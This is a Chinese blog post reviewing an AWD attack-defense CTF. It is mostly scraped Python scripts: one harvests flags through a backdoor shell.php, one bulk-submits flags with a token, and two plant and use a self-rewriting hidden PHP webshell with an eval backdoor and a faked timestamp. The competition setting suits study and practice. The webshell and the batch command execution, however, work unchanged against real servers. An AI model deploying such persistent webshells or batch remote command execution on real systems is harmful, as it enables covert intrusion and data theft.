当前位置: 首页 > news >正文

丝路杯

这是一个对丝路杯的总结,主要是awd攻防。从这次比赛中找到不足。(之后有补充的话会继续补充)

这次的check很抽象,检测你有没有修改后门文件,修改了,直接异常,只能删除后门文件(无异常)。而且对通防没有限制,虽说文件里明确说明了,但是裁判和技术人员居然不知道规则,现场查看规则。靶机没有重置功能,但文件里说有

我们是第一个找到后门文件的,拿到了一血,但脚本没准备好,是现场手搓的,导致awd惨不忍睹。

下面是代码:

得到flag并写入文件的代码

import requestsips = open("./ip.txt","r")
url = "/shell.php"for ip in ips:urlip = ip.strip()+urldata={"shell":"system('cat /flag')"}try:response = requests.post(url=urlip, data=data, timeout=3)if "flag" in response.text:print("Found flag:", response.text)with open("flag.txt", "a") as file:file.write(response.text + "\n")except requests.RequestException as e:print(f"Error requesting {urlip}: {e}")ips.close()

批量提交flag的代码:

import requestsurl = "http://democtf.yanwuting.cn/api/v1/awd/answer?evt=acefcc4d-a9cb-4d4a-a75d-7fb7fea5018e"
token = "1792049566158509911"with open("flag.txt","r") as flags:for flag in flags:flag = flag.strip()# 构造请求数据data = {"flag": flag,"token": token}try:# 发送POST请求response = requests.post(url, data=data, timeout=3)# 打印提交结果print(f"提交flag: {flag},响应状态码: {response.status_code},响应内容: {response.text}")except requests.exceptions.RequestException as e:print(f"提交flag: {flag} 时发生错误: {e}")

上传不死马代码:

import requests
import base64ips = open("./ip.txt", "r")
url_suffix = "/shell.php"# 要上传的文件内容
file_content = '''<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.kangkang.php';$code = '<?php if(md5($_GET["pass"])=="098f6bcd4621d373cade4e832627b4f6"){@eval($_POST["cmd"]);} ?>';while (1){file_put_contents($file,$code);system('touch -m -d "2018-12-01 09:10:12" .kangkang.php');usleep(1);}
?>'''# 将内容进行base64编码,避免特殊字符问题
encoded_content = base64.b64encode(file_content.encode()).decode()for ip in ips:ip = ip.strip()if not ip:continueurlip = ip + url_suffixprint("Testing:", urlip)# 使用base64解码并写入文件data = {"shell": f"echo '{encoded_content}' | base64 -d > /var/www/html/.kangkang.php"}try:response = requests.post(url=urlip, data=data, timeout=5)print("Upload response:", response.text)# 验证文件是否上传成功verify_data = {"shell": "ls -la /var/www/html/.kangkang.php && cat /var/www/html/.kangkang.php | head -5"}verify_response = requests.post(url=urlip, data=verify_data, timeout=5)if ".kangkang.php" in verify_response.text:print("File uploaded successfully!")url2 = ip+".kangkang.php"response2 = requests.get(url=url2, timeout=5)print(response2.status_code)except requests.RequestException as e:print(f"Error requesting {urlip}: {e}")ips.close()

利用不死马

import requestswith open("ip.txt","r") as ips:for ip in ips:url=ip.strip()+"/.kangkang.php?pass=test"data={"cmd":"system('cat /flag')"}try:response = requests.post(url=url, data=data, timeout=3)if "flag" in response.text:print(f"Found flag at {ip}: {response.text}")with open("flag.txt", "a") as file:file.write(response.text + "\n")else:print(f"No flag found at {ip}, response: {response.text[:100]}...")  # 只显示前100个字符except requests.RequestException as e:print(f"Error requesting {url}: {e}")
http://www.gsyq.cn/news/46852.html

相关文章:

  • CTF 流量分析- Wireshark 核心教程:从网卡抓包到 2025 - CTF 流量分析题目技巧
  • CF round vp 选记
  • 详细介绍:微服务时代的前后端协作:API契约驱动开发实践
  • ZROI-NOIP2025做题记录
  • week1--RE--刷题记录
  • Pycharm常用设置
  • *题解:P5278 算术天才⑨与等差数列
  • 学习昇腾硬件软件产品名称
  • ASP.NET Core Authorization: 跳过JWT校验
  • AT_agc034_c [AGC034C] Tests
  • 第七天 设计用例方法
  • 详细介绍:LLaMA-Factory实战优化进阶
  • ch3题解
  • 2025年11月镀锌板品牌新榜:聚焦HC300DPD+Z镀锌板//镀锌花纹板/热镀锌花纹板/Q345B镀锌花纹板全产业链优势!
  • 2025年11月腻子粉厂家新推荐榜:聚焦环保腻子粉/植物腻子粉/净醛腻子粉/健康腻子粉/无味腻子粉环保性能深度解析!
  • 2025聚脲涂料行业优质厂家推荐榜:宁国创遂领衔,手工 / 喷涂 / 天冬聚脲涂料实力派齐聚
  • 2025发泡混凝土优质厂家推荐榜:云南锦乐五星领跑,西南三家企业凭特色实力入围
  • 编程老鸟请注意
  • 2025年济南画室培训机构最新推荐:济南画室/济南艺考画室/山东美术艺考培训/山东画室/专业教学,个性化辅导新标杆
  • Flutter零基础极速入门到进阶实战(视频教程) - 教程
  • 题解 P13524 [KOI 2025 #2] 跳跃
  • SOS DP
  • 11月10日
  • 密码校验函数
  • 没有路由器的情况下如何通过电脑网口连接开发板
  • AT_arc160_c [ARC160C] Power Up
  • 英语_阅读_Life in cities_待读
  • 一个强大的排序工具
  • 关于IP、TCP、UDP的校验和计算
  • 元叙事提示注入:突破AI安全边界的攻击技术